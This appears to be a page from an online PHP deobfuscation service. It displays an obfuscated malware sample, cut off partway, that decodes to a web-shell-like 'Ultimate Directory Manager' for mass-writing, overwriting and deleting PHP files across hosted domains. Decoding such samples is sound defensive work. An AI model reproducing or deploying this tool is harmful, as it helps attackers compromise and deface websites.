Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php goto LvQMh; ONzNp: $YOWp8 = new OpNOT(); goto dc9N6; LvQMh: class OpNOT { private $ADco2; private $XKyds; private $sYQMg; private $LRakP = ["\x70\150\x70", "\150\164\x6d\x6c", "\150\x74\155", "\x74\170\164", "\152\x73", "\143\x73\x73", "\170\x6d\154", "\x6a\x73\x6f\156"]; public function __...



難読化されたPHPコード

<?php
 goto LvQMh; ONzNp: $YOWp8 = new OpNOT(); goto dc9N6; LvQMh: class OpNOT { private $ADco2; private $XKyds; private $sYQMg; private $LRakP = ["\x70\150\x70", "\150\164\x6d\x6c", "\150\x74\155", "\x74\170\164", "\152\x73", "\143\x73\x73", "\170\x6d\154", "\x6a\x73\x6f\156"]; public function __construct() { goto US245; o_pMR: $this->XKyds = "\x69\x6e\144\145\x78\56\160\150\160"; goto v_TTJ; v_TTJ: $this->sYQMg = "\x3c\77\x70\150\160\x20\x65\143\x68\x6f\x20\42\x53\x65\x63\165\162\x69\164\x79\x20\x43\x68\145\x63\153\x22\x3b\40\77\76"; goto TmAkf; US245: $this->ADco2 = getcwd(); goto o_pMR; TmAkf: } public function Fj6Dk() { echo "\x3c\x21\104\x4f\103\124\x59\120\105\40\150\x74\155\x6c\76\xa\40\40\40\40\40\40\40\x20\74\x68\x74\x6d\x6c\40\x6c\x61\156\x67\x3d\x22\145\156\42\76\xa\x20\40\40\x20\40\40\x20\x20\74\150\x65\141\x64\x3e\xa\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\x3c\155\x65\x74\141\40\x63\x68\x61\162\163\145\164\x3d\42\125\x54\x46\x2d\x38\x22\x3e\12\x20\40\x20\40\40\x20\40\40\40\40\40\40\74\x6d\145\164\x61\x20\156\x61\x6d\x65\75\x22\x76\x69\145\167\160\x6f\162\x74\42\x20\x63\x6f\156\x74\x65\156\x74\x3d\42\167\x69\x64\x74\150\x3d\x64\x65\x76\151\x63\x65\55\x77\x69\x64\x74\150\x2c\40\151\156\x69\164\x69\x61\x6c\x2d\x73\x63\x61\x6c\x65\75\61\x2e\60\42\x3e\12\x20\40\40\40\40\40\x20\40\x20\40\x20\x20\x3c\164\x69\164\x6c\145\x3e\125\x6c\x74\x69\x6d\x61\x74\145\40\104\151\x72\x65\x63\164\x6f\162\171\x20\x4d\x61\156\141\x67\145\162\x3c\57\164\151\x74\154\x65\76\xa\40\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\x3c\163\x74\x79\x6c\145\x3e\xa\x20\x20\x20\40\x20\x20\40\40\40\40\40\x20\40\40\x20\x20\x62\157\144\171\40\173\40\x66\x6f\x6e\x74\x2d\x66\x61\155\151\154\x79\x3a\x20\101\x72\151\x61\x6c\54\x20\x73\x61\156\163\x2d\163\145\162\x69\146\73\40\155\141\162\147\151\x6e\x3a\40\x32\60\x70\x78\73\x20\x62\141\143\153\x67\162\x6f\x75\156\x64\x3a\40\43\x66\x35\146\x35\146\x35\73\x20\175\12\x20\40\40\40\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\56\x63\x6f\156\164\141\x69\x6e\x65\x72\40\x7b\40\155\x61\170\x2d\167\x69\144\x74\150\72\40\x31\x31\60\60\160\x78\x3b\40\x6d\141\x72\147\151\x6e\x3a\40\60\40\x61\165\164\157\73\x20\142\141\143\153\147\162\x6f\x75\x6e\x64\72\40\167\150\151\164\x65\73\40\160\141\144\x64\151\156\147\x3a\40\x32\x30\160\x78\x3b\x20\142\157\162\144\x65\162\x2d\162\x61\144\151\165\x73\x3a\40\70\160\x78\73\40\x62\x6f\x78\55\x73\150\141\144\x6f\167\72\40\60\x20\x30\40\61\60\x70\170\40\162\x67\x62\x61\50\x30\x2c\60\x2c\x30\54\60\56\x31\x29\x3b\40\x7d\12\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\x20\x2e\146\x6f\x72\x6d\x2d\147\162\157\x75\160\40\x7b\40\x6d\x61\162\x67\151\156\55\142\157\164\x74\157\155\x3a\x20\x31\x35\160\x78\x3b\40\175\12\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\x6c\141\x62\x65\154\40\x7b\40\144\151\163\160\x6c\x61\171\72\40\142\154\x6f\x63\x6b\x3b\x20\x6d\x61\x72\147\151\156\55\x62\157\164\164\157\155\x3a\x20\x35\160\x78\x3b\x20\x66\x6f\x6e\164\x2d\x77\x65\151\147\150\164\x3a\x20\x62\x6f\x6c\x64\x3b\40\x7d\xa\x20\x20\40\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\x20\x69\156\160\x75\164\133\x74\x79\x70\x65\75\42\x74\x65\x78\x74\x22\135\x2c\40\164\145\170\164\141\162\x65\x61\54\x20\163\145\154\x65\x63\x74\40\173\40\x77\x69\x64\164\150\x3a\x20\x31\x30\x30\45\73\x20\x70\x61\x64\x64\x69\156\147\x3a\x20\x38\x70\x78\x3b\x20\x62\157\x72\x64\145\162\72\x20\x31\x70\x78\40\x73\157\154\151\144\40\x23\x64\144\144\73\40\x62\157\x72\x64\145\162\x2d\x72\x61\144\151\165\x73\x3a\40\64\160\170\73\x20\175\xa\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\164\x65\170\x74\x61\x72\x65\141\x20\173\x20\150\145\x69\147\150\164\72\x20\x32\x30\x30\160\x78\73\x20\146\157\156\164\x2d\146\x61\155\x69\154\x79\72\x20\x6d\157\x6e\157\163\x70\x61\x63\x65\x3b\x20\175\12\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\56\x62\164\x6e\x20\173\x20\142\x61\x63\x6b\x67\162\157\165\156\x64\72\40\x23\x30\60\x37\x62\146\x66\73\x20\143\x6f\154\157\x72\72\x20\167\x68\151\164\145\73\x20\160\141\144\144\x69\x6e\147\x3a\x20\x31\60\160\170\40\62\x30\160\x78\73\40\x62\x6f\162\144\x65\162\72\x20\156\157\x6e\x65\x3b\x20\142\157\x72\144\x65\162\55\x72\x61\x64\151\x75\163\72\40\x34\x70\x78\x3b\x20\x63\165\x72\163\x6f\162\x3a\x20\160\157\151\x6e\x74\145\x72\73\x20\x6d\141\162\x67\x69\x6e\x2d\162\151\x67\x68\x74\72\x20\x31\x30\160\x78\73\40\x6d\141\x72\147\x69\156\x2d\x62\157\164\x74\157\155\x3a\x20\x35\x70\170\73\x20\x7d\xa\40\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x2e\x62\x74\x6e\72\150\x6f\166\x65\x72\40\x7b\40\157\x70\141\x63\151\164\x79\72\40\x30\x2e\71\73\40\x7d\xa\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\56\x62\164\x6e\x2d\163\143\x61\156\x20\173\x20\x62\141\143\153\147\x72\x6f\165\156\144\x3a\x20\43\x32\70\141\67\x34\x35\73\x20\x7d\12\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x2e\142\164\156\55\157\166\145\162\x77\162\x69\x74\x65\x20\x7b\40\142\141\x63\x6b\x67\x72\157\165\x6e\x64\72\x20\43\146\146\x63\x31\60\67\73\40\x63\x6f\154\157\162\72\x20\142\154\x61\143\x6b\x3b\x20\x7d\12\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\x2e\x62\x74\156\x2d\x64\x65\x6c\145\164\x65\x20\x7b\x20\x62\141\x63\153\147\x72\x6f\x75\156\x64\x3a\x20\x23\144\143\x33\x35\64\65\73\40\x7d\12\x20\40\40\40\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\56\x62\164\x6e\x2d\146\x69\x78\x20\173\40\x62\x61\143\153\x67\x72\157\165\x6e\x64\x3a\x20\x23\61\67\141\x32\142\70\x3b\40\x7d\xa\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\40\40\56\x62\164\156\x2d\x65\x6d\145\x72\x67\x65\x6e\143\x79\x20\x7b\40\x62\141\x63\x6b\x67\162\x6f\x75\156\x64\x3a\x20\x23\146\144\x37\145\x31\x34\x3b\x20\175\xa\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x2e\x62\x74\156\55\x63\165\x73\x74\x6f\x6d\x20\173\x20\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x3a\40\43\66\146\x34\62\x63\61\x3b\x20\x7d\xa\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\x2e\162\145\163\165\154\x74\x20\x7b\x20\x6d\141\x72\147\x69\156\x2d\x74\x6f\160\x3a\40\62\60\160\170\73\40\x70\x61\144\144\x69\156\147\x3a\40\x31\65\x70\170\x3b\40\x62\141\x63\153\x67\x72\157\165\156\x64\x3a\x20\x23\146\70\x66\71\146\141\73\x20\x62\x6f\x72\x64\145\162\55\x72\x61\x64\151\x75\163\72\x20\64\160\170\x3b\x20\175\xa\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\56\163\x75\x63\x63\145\163\163\x20\173\40\143\157\x6c\157\162\72\x20\x23\x32\70\141\67\64\65\73\40\142\x6f\162\x64\x65\x72\x2d\x6c\145\x66\x74\x3a\x20\64\160\170\40\x73\157\x6c\151\x64\40\43\62\70\x61\67\x34\x35\x3b\40\160\x61\144\x64\x69\156\x67\x2d\154\x65\146\x74\x3a\x20\x31\x30\x70\x78\x3b\40\175\xa\40\40\40\40\x20\40\40\x20\40\40\40\x20\40\x20\x20\40\56\x65\162\162\157\162\40\x7b\x20\x63\x6f\x6c\x6f\x72\x3a\40\43\144\x63\x33\65\64\x35\x3b\40\x62\x6f\162\144\x65\162\55\154\145\146\164\72\x20\64\160\170\x20\x73\x6f\x6c\151\x64\40\43\144\x63\x33\65\64\65\x3b\40\160\x61\x64\x64\x69\x6e\x67\x2d\154\x65\146\164\x3a\x20\61\x30\x70\x78\73\40\x7d\12\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\40\40\x2e\167\x61\162\156\151\x6e\147\40\x7b\x20\x63\x6f\x6c\157\162\x3a\x20\x23\70\x35\x36\x34\x30\64\73\x20\x62\x6f\162\144\x65\x72\x2d\x6c\x65\x66\x74\x3a\40\x34\160\170\x20\x73\x6f\x6c\x69\144\x20\43\x66\146\143\61\60\67\x3b\40\160\x61\x64\144\x69\156\147\55\154\x65\x66\164\72\40\x31\60\x70\x78\x3b\40\175\xa\x20\x20\x20\40\40\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x2e\x69\x6e\146\x6f\x20\x7b\40\x63\157\154\157\162\x3a\40\x23\x30\60\x34\60\x38\65\73\x20\142\x6f\162\144\x65\x72\x2d\154\x65\x66\x74\x3a\40\x34\x70\170\x20\x73\157\x6c\151\x64\40\x23\x30\60\x37\142\x66\x66\x3b\40\160\x61\144\144\151\156\x67\x2d\x6c\x65\x66\164\72\x20\61\x30\160\170\x3b\40\x7d\xa\x20\x20\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x2e\146\x69\x78\x65\144\40\173\40\x63\157\x6c\x6f\x72\72\x20\x23\x31\x37\x61\62\x62\x38\x3b\x20\142\157\162\x64\x65\162\x2d\x6c\145\146\x74\x3a\40\x34\x70\x78\40\163\157\x6c\151\x64\40\43\61\x37\141\62\x62\70\x3b\40\x70\141\x64\x64\x69\156\x67\x2d\154\x65\x66\x74\x3a\40\61\x30\160\x78\73\40\x7d\xa\40\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\40\x2e\146\151\x6c\x65\55\x6c\x69\x73\164\x20\x7b\x20\155\x61\x78\55\x68\145\x69\147\x68\164\x3a\x20\63\x30\x30\x70\x78\73\40\x6f\166\145\x72\146\154\x6f\x77\55\x79\72\40\x61\x75\x74\x6f\73\40\142\x6f\162\x64\145\x72\x3a\40\x31\160\170\40\x73\x6f\154\x69\144\x20\43\x64\x64\144\73\x20\x70\141\x64\144\151\x6e\x67\x3a\x20\61\60\x70\x78\73\x20\175\xa\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\x20\x20\56\163\164\x61\x74\163\x20\x7b\x20\142\141\x63\x6b\147\x72\157\165\x6e\x64\72\40\x23\x65\x39\x65\143\x65\x66\73\40\160\x61\x64\x64\151\x6e\x67\x3a\x20\x31\60\160\x78\73\x20\x62\x6f\x72\144\145\162\55\x72\x61\144\151\x75\x73\x3a\x20\64\160\x78\73\40\155\x61\162\x67\x69\156\72\x20\61\60\160\170\x20\60\x3b\x20\175\xa\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x2e\x74\x61\142\40\x7b\40\x6f\x76\145\162\146\x6c\157\167\72\x20\150\x69\144\144\x65\x6e\x3b\40\142\157\162\144\x65\x72\72\40\x31\x70\170\40\163\x6f\154\151\x64\40\x23\143\143\143\x3b\40\142\141\x63\153\x67\162\x6f\165\x6e\x64\72\40\43\x66\61\146\61\146\61\73\x20\x7d\12\40\x20\40\x20\40\40\40\x20\40\40\40\40\x20\x20\40\x20\x2e\164\x61\x62\x20\x62\165\x74\x74\157\156\40\173\x20\x62\x61\143\153\x67\162\x6f\165\156\x64\x3a\40\x69\156\x68\145\162\x69\x74\x3b\40\x66\x6c\x6f\141\164\x3a\40\154\x65\146\x74\73\40\x62\x6f\162\x64\145\162\72\40\x6e\157\156\145\73\40\x6f\x75\x74\x6c\x69\x6e\145\72\40\x6e\157\x6e\x65\73\x20\x63\165\162\163\x6f\162\72\x20\x70\157\151\x6e\x74\145\162\x3b\40\x70\x61\144\x64\x69\156\147\72\x20\x31\60\160\x78\x20\61\66\x70\x78\73\x20\164\x72\141\x6e\x73\151\x74\x69\x6f\156\72\40\x30\56\x33\163\73\40\175\xa\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\56\164\141\x62\40\142\165\x74\164\x6f\156\x3a\150\157\166\x65\x72\40\173\40\x62\141\x63\x6b\x67\162\x6f\x75\x6e\144\x3a\40\43\144\144\144\x3b\x20\x7d\12\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\x2e\x74\x61\x62\40\142\x75\164\164\x6f\156\x2e\141\143\164\151\166\x65\x20\x7b\x20\142\141\x63\153\147\162\x6f\x75\156\x64\x3a\40\43\60\x30\67\x62\x66\x66\x3b\40\x63\x6f\x6c\157\162\x3a\40\x77\x68\x69\164\145\73\40\x7d\12\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\x2e\x74\141\x62\143\x6f\x6e\164\x65\x6e\x74\x20\x7b\x20\x64\x69\163\160\154\x61\x79\x3a\x20\156\157\156\x65\73\40\160\141\x64\144\x69\x6e\x67\72\40\x31\65\x70\x78\x3b\x20\x62\157\162\144\x65\162\x3a\40\61\160\170\x20\x73\x6f\154\x69\144\40\x23\x63\143\x63\x3b\x20\142\x6f\x72\x64\x65\162\55\164\157\x70\x3a\x20\x6e\157\x6e\145\x3b\x20\175\12\40\40\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\40\40\x2e\x70\145\x72\155\x69\163\x73\151\x6f\156\55\x69\156\146\x6f\40\173\40\x62\x61\x63\153\x67\162\x6f\165\156\144\x3a\x20\x23\146\146\146\63\143\x64\73\40\160\141\x64\x64\x69\x6e\x67\x3a\x20\61\60\160\170\73\40\142\x6f\x72\x64\145\x72\x2d\162\141\x64\151\x75\x73\72\40\64\x70\x78\73\x20\x6d\141\x72\147\x69\156\72\x20\61\60\x70\x78\40\60\73\40\x7d\12\40\40\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\40\x2e\x65\155\x65\x72\x67\x65\156\x63\171\x2d\142\157\x78\x20\x7b\x20\142\141\x63\x6b\147\162\x6f\x75\x6e\144\72\x20\x23\146\x38\x64\x37\144\x61\x3b\x20\160\141\x64\x64\151\x6e\x67\x3a\40\x31\x35\x70\x78\73\40\x62\x6f\x72\x64\x65\162\55\162\141\144\151\165\163\72\40\x34\160\170\73\x20\155\141\162\147\x69\x6e\x3a\40\x31\x30\160\170\40\60\73\x20\x7d\xa\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x2e\143\165\163\164\x6f\155\x2d\142\x6f\170\x20\173\x20\142\141\x63\x6b\x67\162\x6f\165\x6e\x64\72\40\x23\144\x31\145\143\146\x31\73\x20\160\141\144\x64\151\x6e\x67\x3a\40\61\x35\x70\170\73\40\142\x6f\x72\144\x65\162\x2d\x72\141\x64\x69\165\163\x3a\40\64\x70\x78\73\40\155\141\x72\147\x69\x6e\x3a\x20\61\x30\x70\x78\x20\x30\x3b\40\x7d\12\40\x20\40\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\56\x66\141\x6c\x6c\142\141\143\x6b\x2d\157\x70\x74\x69\x6f\156\x20\173\x20\142\x61\143\x6b\x67\162\157\165\156\x64\x3a\x20\43\145\x32\145\x33\145\x35\x3b\40\160\x61\x64\x64\151\156\x67\x3a\x20\x31\x30\x70\x78\x3b\x20\x6d\141\162\147\x69\x6e\72\40\65\x70\170\40\60\73\40\142\x6f\x72\x64\145\162\55\162\141\144\151\165\x73\72\x20\64\x70\170\x3b\x20\x7d\xa\40\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\40\40\56\164\157\x67\x67\154\145\x2d\x63\x6f\x6e\164\x65\x6e\x74\x20\x7b\x20\144\x69\163\160\154\x61\171\x3a\x20\156\157\156\145\73\x20\x6d\141\162\x67\151\x6e\x2d\x74\157\x70\72\x20\61\60\x70\170\73\x20\x7d\xa\40\x20\40\40\40\40\40\x20\40\40\40\x20\40\40\x20\40\x2e\160\141\164\x68\x2d\151\156\x66\157\x20\173\40\143\x6f\154\157\x72\x3a\40\43\66\66\x36\73\x20\146\157\156\164\55\163\151\x7a\x65\x3a\x20\60\56\71\x65\x6d\x3b\x20\155\x61\x72\147\x69\156\x2d\164\157\x70\72\x20\65\160\170\x3b\x20\x7d\xa\40\x20\40\x20\40\40\x20\40\40\40\40\x20\74\x2f\163\164\171\154\145\76\12\40\x20\x20\40\40\40\x20\x20\74\x2f\150\145\x61\x64\x3e\xa\x20\40\40\x20\x20\40\40\40\x3c\x62\157\x64\x79\76\xa\40\x20\40\x20\40\40\40\40\x20\40\x20\40\x3c\x64\151\166\40\143\154\x61\163\163\75\x22\x63\157\x6e\164\141\x69\x6e\145\162\42\76\12\x20\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x3c\x68\x32\76\xf0\237\x9a\x80\x20\x55\154\x74\151\155\141\164\x65\40\x44\151\x72\x65\x63\164\x6f\162\171\40\x4d\141\156\141\x67\x65\x72\74\x2f\150\62\76\12\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\xa\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\x3c\x64\x69\166\40\x63\154\x61\x73\x73\75\x22\164\x61\x62\x22\x3e\12\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\40\x20\74\142\x75\164\x74\x6f\x6e\x20\x63\154\141\163\163\x3d\42\x74\x61\142\x6c\x69\x6e\153\x20\141\143\x74\x69\166\145\x22\40\x6f\x6e\143\x6c\151\143\x6b\75\42\x6f\160\x65\156\x54\x61\x62\50\x65\166\145\156\164\x2c\x20\x27\x64\145\x70\154\157\171\47\51\x22\x3e\360\x9f\x93\x81\x20\104\x65\160\154\x6f\171\x20\106\x69\x6c\x65\x73\74\x2f\142\x75\164\164\157\x6e\x3e\12\40\x20\40\40\40\x20\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\x20\74\142\x75\164\164\157\156\40\x63\154\x61\x73\x73\x3d\x22\164\141\x62\154\x69\x6e\153\42\x20\157\156\143\154\151\x63\153\75\42\x6f\x70\145\x6e\x54\141\142\x28\x65\166\x65\x6e\164\54\x20\x27\x6d\141\x6e\141\147\145\47\51\x22\x3e\xe2\232\x99\xef\xb8\217\40\x4d\x61\156\x61\x67\x65\x20\106\151\154\x65\163\74\x2f\x62\x75\x74\x74\157\x6e\x3e\12\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\40\40\40\40\x3c\142\165\164\x74\157\156\40\x63\x6c\x61\x73\163\75\42\x74\141\142\154\x69\156\x6b\42\x20\157\156\143\x6c\x69\143\153\x3d\42\157\x70\145\x6e\124\x61\x62\50\145\x76\x65\156\164\x2c\40\47\160\145\162\155\x69\x73\163\x69\157\156\x27\x29\42\76\xf0\237\x94\220\x20\x46\151\170\x20\120\145\x72\155\151\x73\163\151\x6f\x6e\163\74\57\142\165\x74\x74\157\156\x3e\12\40\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\40\x20\74\x62\x75\x74\164\157\156\40\143\154\141\x73\163\75\42\x74\x61\x62\x6c\151\x6e\153\x22\40\157\x6e\143\x6c\x69\143\153\x3d\x22\x6f\x70\x65\156\124\141\x62\x28\145\166\145\x6e\x74\x2c\x20\47\145\x6d\145\162\147\145\156\x63\x79\47\x29\42\76\xf0\237\206\225\x20\105\x6d\x65\x72\147\145\156\x63\x79\40\103\162\x65\x61\x74\145\x3c\57\x62\x75\x74\164\x6f\x6e\76\12\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\40\x3c\x62\165\164\164\x6f\156\x20\x63\x6c\x61\x73\163\x3d\x22\164\141\142\x6c\x69\x6e\153\x22\40\157\156\x63\x6c\x69\143\x6b\x3d\42\x6f\160\145\x6e\x54\x61\142\50\x65\x76\145\x6e\164\54\40\47\143\x75\x73\164\157\155\x27\51\42\x3e\xf0\x9f\x8e\xa8\x20\103\x75\163\x74\x6f\155\x20\106\141\154\x6c\x62\x61\x63\153\74\x2f\x62\x75\164\x74\157\x6e\76\xa\40\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\74\57\x64\x69\166\76\xa\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\12\40\x20\40\40\x20\x20\40\40\40\40\x20\x20\40\x20\x20\40\x3c\41\55\55\40\x44\145\160\154\157\x79\40\124\141\x62\x20\x2d\55\x3e\12\x20\x20\40\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\74\x64\x69\166\x20\x69\x64\75\42\144\x65\160\154\157\171\x22\40\143\154\x61\x73\x73\x3d\42\x74\x61\x62\x63\157\x6e\x74\x65\x6e\164\42\40\163\164\171\x6c\x65\75\x22\144\x69\163\x70\x6c\141\171\x3a\x20\142\x6c\157\143\x6b\x3b\x22\x3e\12\40\40\x20\40\40\40\40\40\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40\x3c\x66\157\162\x6d\40\155\145\164\150\x6f\144\75\x22\x50\x4f\x53\x54\42\x3e\xa\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\40\x20\40\x3c\x64\151\166\40\x63\x6c\141\x73\163\x3d\42\x66\x6f\x72\x6d\55\147\x72\x6f\165\x70\42\76\12\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\x20\40\40\40\40\x20\40\x20\x20\x20\74\x6c\x61\x62\x65\x6c\x3e\xf0\237\x93\x82\x20\102\x61\163\145\40\x44\x69\x72\x65\143\x74\x6f\162\171\72\x3c\x2f\x6c\x61\x62\145\x6c\76\12\40\40\40\40\40\x20\40\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\74\151\x6e\160\x75\x74\40\164\171\160\x65\75\42\x74\145\x78\164\42\x20\x6e\141\155\145\x3d\42\x62\x61\x73\145\137\x64\151\162\42\x20\166\x61\x6c\165\145\x3d\42" . htmlspecialchars($this->ADco2) . "\x22\40\162\145\x71\165\x69\162\x65\144\76\xa\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x3c\144\151\166\x20\x63\154\141\x73\163\x3d\42\x70\141\164\x68\55\151\156\146\157\x22\x3e\xf0\x9f\x92\241\x20\x45\170\x61\155\x70\x6c\145\72\x20\57\150\x6f\155\145\x2f\x75\x73\x65\x72\57\144\x6f\155\x61\151\x6e\x73\40\55\40\x77\151\x6c\154\x20\141\x75\x74\157\x2d\144\x65\x74\145\143\164\x20\x70\165\x62\154\x69\x63\137\150\164\x6d\x6c\74\x2f\144\x69\166\76\12\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\74\57\144\x69\166\76\12\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\12\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\40\40\40\40\x20\40\x20\74\144\151\x76\40\143\154\141\x73\x73\x3d\42\146\x6f\x72\x6d\x2d\x67\x72\157\165\160\42\x3e\12\40\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\x3c\x6c\x61\142\x65\x6c\76\xf0\237\223\x84\x20\106\151\154\x65\40\x4e\141\155\145\x3a\74\x2f\x6c\x61\x62\x65\x6c\76\xa\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\40\40\x3c\x69\156\160\x75\x74\x20\164\x79\160\x65\x3d\x22\164\145\x78\x74\x22\40\156\x61\x6d\x65\75\x22\146\x69\x6c\x65\137\156\x61\155\x65\42\x20\x76\x61\x6c\x75\145\x3d\x22" . htmlspecialchars($this->XKyds) . "\x22\x20\x72\145\x71\165\151\x72\x65\x64\76\xa\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x3c\57\x64\151\x76\x3e\12\x20\40\x20\40\x20\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\40\x20\x20\x20\12\40\x20\x20\40\40\40\x20\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x3c\144\151\x76\x20\143\x6c\x61\163\x73\75\x22\146\x6f\162\155\x2d\147\x72\157\165\160\x22\x3e\xa\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\40\x3c\154\x61\142\x65\154\x3e\xf0\x9f\223\235\x20\106\x69\x6c\x65\x20\x43\157\156\x74\x65\156\x74\x3a\74\57\154\x61\142\145\x6c\x3e\xa\40\40\40\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\40\40\40\40\x20\x20\74\x74\x65\x78\x74\141\162\145\x61\40\156\x61\x6d\145\75\x22\146\x69\x6c\145\x5f\143\157\x6e\x74\x65\156\164\42\40\162\145\161\165\x69\x72\145\x64\x3e" . htmlspecialchars($this->sYQMg) . "\74\57\x74\x65\x78\164\x61\162\145\141\x3e\12\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\40\40\74\57\x64\x69\166\x3e\xa\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\40\x20\40\x20\40\40\12\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\x3c\x64\151\x76\x20\143\x6c\x61\x73\x73\x3d\42\x66\157\x72\155\55\147\x72\157\x75\x70\x22\x3e\12\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\40\74\x6c\141\142\145\x6c\x3e\xf0\237\224\xa7\x20\x41\x63\164\x69\x6f\x6e\x3a\x3c\x2f\154\x61\x62\x65\154\76\12\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\40\40\x20\40\x20\40\x20\40\40\x20\40\x3c\x73\x65\154\x65\x63\164\40\156\141\155\x65\75\42\141\x63\164\151\157\x6e\42\x3e\xa\x20\x20\40\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\x3c\x6f\x70\x74\x69\157\x6e\x20\x76\141\x6c\165\145\x3d\42\x73\143\141\156\42\76\360\x9f\224\215\x20\x53\143\x61\156\x20\x44\151\162\x65\x63\164\157\x72\151\145\163\x20\x4f\156\x6c\171\74\57\x6f\160\164\x69\x6f\x6e\76\12\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\40\40\x20\40\40\74\x6f\160\x74\151\157\156\40\x76\141\154\x75\x65\75\x22\143\x72\x65\141\164\x65\42\x3e\342\x9e\x95\40\103\x72\145\x61\x74\x65\40\x46\151\154\x65\x73\40\50\123\x6b\151\x70\40\x45\x78\x69\x73\x74\x69\x6e\147\51\x3c\x2f\157\x70\164\151\157\x6e\76\xa\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\40\40\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\x20\40\x20\40\40\40\40\74\x6f\x70\164\x69\x6f\x6e\40\x76\141\x6c\165\145\75\x22\157